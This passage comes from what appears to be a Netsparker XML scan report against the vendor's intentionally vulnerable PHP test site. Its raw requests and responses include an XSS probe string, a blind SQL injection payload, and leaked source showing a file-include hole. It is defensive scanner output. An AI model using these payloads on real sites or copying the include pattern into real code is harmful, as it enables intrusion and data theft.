<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">
        
	<div id="menu">
		<ul>
			<li><a href="process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="hello.php?name=Visitor">Hello</a></li>
			<li><a href="products.php?pro=url">Products</a></li>
			<li><a href="process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="auth/">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	    
                        <div id="page">
	<div id="page-bgtop">
	<div id="page-bgbtm">
		<div id="content">
			<div class="post">
				

			
				<div class="entry">
				<h1 class="title"><a href="/process.php?file=Generics/contact.nsp">Contact </a></h1>
					<p>

			<iframe width="540" height="350" frameborder="0" scrolling="no" marginheight="0"
				style="float: left" marginwidth="0" src="http://maps.google.com/maps?q=mavituna+security&output=embed">
			</iframe>




  <strong><br />Test&Demonstration Site Ltd
   <br />(reg. no. 123456)</strong><br />
   <p>
    Green House,
    3478 Stone QX
    Dos Tringulas
    EK7 AP0<br />
    USA<br />
   </p>

   <p>
    <span>Tel: +44 123 456 7890</span><br />
    <span>Fax: +44 123 456 7891</span></p>
   <p>

<p>
				E-mail: test@netsparker.com</b></a></p>
					</p>

				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	        
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="artist.php?id=test">Artist Search</a></li>
						<li><a href="nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>	<!-- process.php load pages from path of the website. -->
	<!-- FIXME: File / directory permissions -->
	<!-- end #page -->
</div>

<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
						<info name="Frame Source(s)"><![CDATA[http://maps.google.com/maps?q=mavituna+security&output=embed]]></info>
				</extrainformation>

				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/nslookup.php</url>
				<type>InternalIPLeakage</type>
				<severity>Low</severity>
				<certainty>50</certainty>
		
				<rawrequest><![CDATA[GET /nslookup.php HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:26:04 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3845
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><script type=text/javascript src = "" ></script>
<body>
<div id="wrapper">

	<div id="menu">
		<ul>
			<li><a href="process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="hello.php?name=Visitor">Hello</a></li>
			<li><a href="products.php?pro=url">Products</a></li>
			<li><a href="process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="auth/">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	<div id="page">
	<div id="page-bgtop">
	<div id="page-bgbtm">
		<div id="content">
			<div class="post">
				<h2 class="title"><a href="#">Products </a></h2>

				<div style="clear: both;">&nbsp;</div>
				<div class="entry">
					<p>
                    <form action="/nslookup.php" method="POST">
                           <table class="databases">
            <tr>
                <td colspan="3">
                </td>
            </tr>
            <tr>
                <td class="label" style="width: 89px">
                    <label>IP Adress:</label></td>
                <td class="style3">
                    <input type="text" size="40" name="param" id="param" class="input"/>
                </td>
                <td class="style1">
                    <input type="submit" value="GO" class="button" id="submit"
                        onclick="return submit_onclick()" dir="ltr" />
                </td>
            </tr>
            <tr>
                <td class="label" style="width: 89px">
                    &nbsp;</td>
                <td class="style1" colspan="2">
                    &nbsp;</td>
            </tr>
            <tr>
                <td class="label" style="width: 89px"></td>
                <td class="style1" colspan="2">
                </td>
            </tr>
        </table>
                    </form>
  <pre>Server:  ip-172-16-0-23.ec2.internal
Address:  172.16.0.23

</pre>					</p>
				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	    
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="artist.php?id=test">Artist Search</a></li>
						<li><a href="nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>
	<!-- end #page -->
</div>

<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
						<info name="Extracted IP Address(es)"><![CDATA[172.16.0.23]]></info>
				</extrainformation>

					<classification>
						<OWASP></OWASP>
						<WASC></WASC>
						<CWE>200</CWE>
						<CAPEC></CAPEC>
						<PCI>6.5.6</PCI>
						<PCI2></PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/process.bak</url>
				<type>BackupFileFound</type>
				<severity>Low</severity>
				<certainty>75</certainty>
		
				<rawrequest><![CDATA[GET /process.bak HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.bak
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:26:28 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
ETag: "30000000199eb-363-481496ef4391c"
Accept-Ranges: bytes
Content-Length: 867
Content-Type: text/plain
Last-Modified: Mon, 08 Mar 2010 12:45:00 GMT

<?php
require("auth.php");
ini_set("display_errors","0");

//global configuration area
$globals["title"] = "Netsparker Test Web Site -  PHP";
function EndsWith($FullStr, $EndStr)
{
    // Get the length of the end string
    $StrLen = strlen($EndStr);
    // Look at the end of FullStr for the substring the size of EndStr
    $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
    // If it matches, it does end with EndStr
    return $FullStrEnd == $EndStr;
}
?>

<?php include "Internals/header.php"?>
<body>
<div id="wrapper">
        <?php include "Internals/upmenu.php"?>
	    <?php
            $file = $_REQUEST["file"];
            if(EndsWith($file,".nsp"))
                include $_REQUEST["file"];
        ?>
	<!-- end #page -->
</div>

<?php include "Internals/footer.php"?>
	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A8</OWASP>
						<WASC>34</WASC>
						<CWE>530</CWE>
						<CAPEC>87</CAPEC>
						<PCI>6.5.10</PCI>
						<PCI2>6.5.8</PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/&apos;%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x00000A)%3C/scRipt%3E</url>
				<type>ForbiddenResource</type>
				<severity>Information</severity>
				<certainty>100</certainty>
		
				<rawrequest><![CDATA[GET /'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x00000A)%3C/scRipt%3E HTTP/1.1
Cache-Control: no-cache
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 403 Forbidden
Date: Fri, 29 Nov 2013 11:25:51 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Content-Length: 386
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /'&quot;--&gt;&lt;/style&gt;&lt;/scRipt&gt;&lt;scRipt&gt;netsparker(0x00000A)&lt;/scRipt&gt;
on this server.</p>
<hr>
<address>Apache/2.2.8 (Win32) PHP/5.2.6 Server at php.testsparker.com Port 80</address>
</body></html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/artist.php?id=-1+OR+1%3d1))+AND+1%3d(SELECT+IF((IFNULL(ASCII(SUBSTRING((SELECT+CONCAT(CHAR(78)%2cCHAR(69)%2cCHAR(84)%2cCHAR(83)%2cCHAR(80)%2cCHAR(65)%2cCHAR(82)%2cCHAR(75)%2cCHAR(69)%2cCHAR(82)))%2c5%2c1))%2c0)%3d88)%2c1%2c2))--+</url>
				<type>MySqlIdentified</type>
				<severity>Information</severity>
				<certainty>100</certainty>
		
				<rawrequest><![CDATA[GET /artist.php?id=-1+OR+1%3d1))+AND+1%3d(SELECT+IF((IFNULL(ASCII(SUBSTRING((SELECT+CONCAT(CHAR(78)%2cCHAR(69)%2cCHAR(84)%2cCHAR(83)%2cCHAR(80)%2cCHAR(65)%2cCHAR(82)%2cCHAR(75)%2cCHAR(69)%2cCHAR(82)))%2c5%2c1))%2c0)%3d88)%2c1%2c2))--+ HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Connection: close
Date: Fri, 29 Nov 2013 11:28:15 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 2794
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><link type="text/css" href="Generics/style.css" rel="stylesheet"/>
<body>
<div id="wrapper">
        
	<div id="menu">
		<ul>
			<li><a href="process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="hello.php?name=Visitor">Hello</a></li>
			<li><a href="products.php?pro=url">Products</a></li>
			<li><a href="process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="auth/">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	<div id="page">
	<div id="page-bgtop">
	<div id="page-bgbtm">
		<div id="content">
			<div class="post">
				<h2 class="title"><a href="artist.php#">Artist Service</a></h2>

				<div style="clear: both;">&nbsp;</div>
				<div class="entry">
					<p>
                    


no rows returned 
                    </p>

				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	        
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="artist.php?id=test">Artist Search</a></li>
						<li><a href="nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>
	<!-- end #page -->
</div>

<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/.svn/</url>
				<type>ApacheDirectoryListing</type>
				<severity>Information</severity>
				<certainty>90</certainty>
		
				<rawrequest><![CDATA[GET /.svn/ HTTP/1.1
Cache-Control: no-cache
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:25:37 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Content-Length: 1110
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /.svn</title>
 </head>
 <body>
<h1>Index of /.svn</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[DIR]"></td><td><a href="/">Parent Directory</a>       </td><td>&nbsp;</td><td align="right">  - </td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[   ]"></td><td><a href="all-wcprops">all-wcprops</a>            </td><td align="right">22-Feb-2010 16:06  </td><td align="right">1.1K</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[   ]"></td><td><a href="entries">entries</a>                </td><td align="right">04-Mar-2010 18:55  </td><td align="right">1.6K</td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.2.8 (Win32) PHP/5.2.6 Server at php.testsparker.com Port 80</address>
</body></html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A6</OWASP>
						<WASC>16</WASC>
						<CWE>548</CWE>
						<CAPEC>127</CAPEC>
						<PCI>6.5.6</PCI>
						<PCI2></PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/process.php?file=Generics/contact.nsp</url>
				<type>EmailDisclosure</type>
				<severity>Information</severity>
				<certainty>95</certainty>
		
				<rawrequest><![CDATA[GET /process.php?file=Generics/contact.nsp HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:25:52 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3363
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">
        
	<div id="menu">
		<ul>
			<li><a href="process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="hello.php?name=Visitor">Hello</a></li>
			<li><a href="products.php?pro=url">Products</a></li>
			<li><a href="process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="auth/">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	    
                        <div id="page">
	<div id="page-bgtop">
	<div id="page-bgbtm">
		<div id="content">
			<div class="post">
				

			
				<div class="entry">
				<h1 class="title"><a href="/process.php?file=Generics/contact.nsp">Contact </a></h1>
					<p>

			<iframe width="540" height="350" frameborder="0" scrolling="no" marginheight="0"
				style="float: left" marginwidth="0" src="http://maps.google.com/maps?q=mavituna+security&output=embed">
			</iframe>




  <strong><br />Test&Demonstration Site Ltd
   <br />(reg. no. 123456)</strong><br />
   <p>
    Green House,
    3478 Stone QX
    Dos Tringulas
    EK7 AP0<br />
    USA<br />
   </p>

   <p>
    <span>Tel: +44 123 456 7890</span><br />
    <span>Fax: +44 123 456 7891</span></p>
   <p>

<p>
				E-mail: test@netsparker.com</b></a></p>
					</p>

				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	        
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="artist.php?id=test">Artist Search</a></li>
						<li><a href="nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>	<!-- process.php load pages from path of the website. -->
	<!-- FIXME: File / directory permissions -->
	<!-- end #page -->
</div>

<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
						<info name="Found E-mails"><![CDATA[test@netsparker.com]]></info>
				</extrainformation>

					<classification>
						<OWASP></OWASP>
						<WASC>13</WASC>
						<CWE>200</CWE>
						<CAPEC>118</CAPEC>
						<PCI>6.5.6</PCI>
						<PCI2></PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/robots.txt</url>
				<type>RobotsIdentified</type>
				<severity>Information</severity>
				<certainty>100</certainty>
		
				<rawrequest><![CDATA[GET /robots.txt HTTP/1.1
Cache-Control: no-cache
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:25:41 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
ETag: "30000000199ef-1a-49ca232cb73c3"
Accept-Ranges: bytes
Content-Length: 26
Content-Type: text/plain
Last-Modified: Sat, 19 Feb 2011 12:59:17 GMT

User-agent: *
Disallow: /]]></rawresponse>
				<extrainformation>
						<info name="Interesting Robots.txt Entries"><![CDATA[Disallow: /]]></info>
				</extrainformation>

				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/</url>
				<type>ApacheOutOfDate</type>
				<severity>Information</severity>
				<certainty>90</certainty>
		
				<rawrequest><![CDATA[GET / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Fri, 29 Nov 2013 11:25:33 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Keep-Alive: timeout=5, max=100
Content-Length: 144
Content-Type: text/html

<html>
<HEAD>
<SCRIPT language="JavaScript">
<!--
window.location="process.php?file=Generics/index.nsp";
//-->
</SCRIPT>
</HEAD>
</html>]]></rawresponse>
				<extrainformation>
						<info name="Version"><![CDATA[2.2.8]]></info>
						<info name="Vulnerability Database"><![CDATA[Result is based on 17/11/2013 vulnerability database content.]]></info>
				</extrainformation>

					<classification>
						<OWASP>A6</OWASP>
						<WASC></WASC>
						<CWE></CWE>
						<CAPEC>310</CAPEC>
						<PCI>6.1</PCI>
						<PCI2>6.1</PCI2>
					</classification>
				
					<knownvulnerabilities>
							<knownvulnerability>
								<title>Apache mod_proxy_balancer CSRF Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache mod_proxy_http Interim Response Denial of Service Vulnerability </title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache mod_proxy_ftp Wildcard Characters Cross-Site Scripting Vulnerability </title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache mod_proxy Remote Denial Of Service Vulnerability</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache HTTP Server mod_deflate Denial of Service Vulnerability </title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache APR-util apr_brigade_vprintf Off By One Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache APR-util xml/apr_xml.c Denial of Service Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache APR-util apr_strmatch_precompile() Integer Underflow Vulnerability</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache APR and APR-util Multiple Integer Overflow Vulnerabilities</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache mod_proxy_ftp Module Insufficient Input Validation Denial Of Service Vulnerability </title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache mod_proxy_ftp Remote Command Injection Vulnerability </title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache mod_isapi Memory Corruption Vulnerability </title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache 'mod_isapi' Memory Corruption Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache mod_proxy_ajp Module Incoming Request Body Denial Of Service Vulnerability</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache mod_cache and mod_dav Request Handling Denial of Service Vulnerability </title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache APR-util apr_brigade_split_line() Denial of Service Vulnerability </title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache APR apr_fnmatch() Denial of Service Vulnerability</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache HTTP Server CVE-2011-3192 Denial Of Service Vulnerability</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache HTTP Server Scoreboard Local Security Bypass Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache HTTP Server CVE-2011-3348 Denial Of Service Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache Multiple XSS Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache Code Execution Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>Apache Denial of Service Vulnerabillity</title>
								<severity>Low</severity>
							</knownvulnerability>
					</knownvulnerabilities>
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/</url>
				<type>PhpOutOfDate</type>
				<severity>Information</severity>
				<certainty>90</certainty>
		
				<rawrequest><![CDATA[GET / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Fri, 29 Nov 2013 11:25:33 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Keep-Alive: timeout=5, max=100
Content-Length: 144
Content-Type: text/html

<html>
<HEAD>
<SCRIPT language="JavaScript">
<!--
window.location="process.php?file=Generics/index.nsp";
//-->
</SCRIPT>
</HEAD>
</html>]]></rawresponse>
				<extrainformation>
						<info name="Version"><![CDATA[5.2.6]]></info>
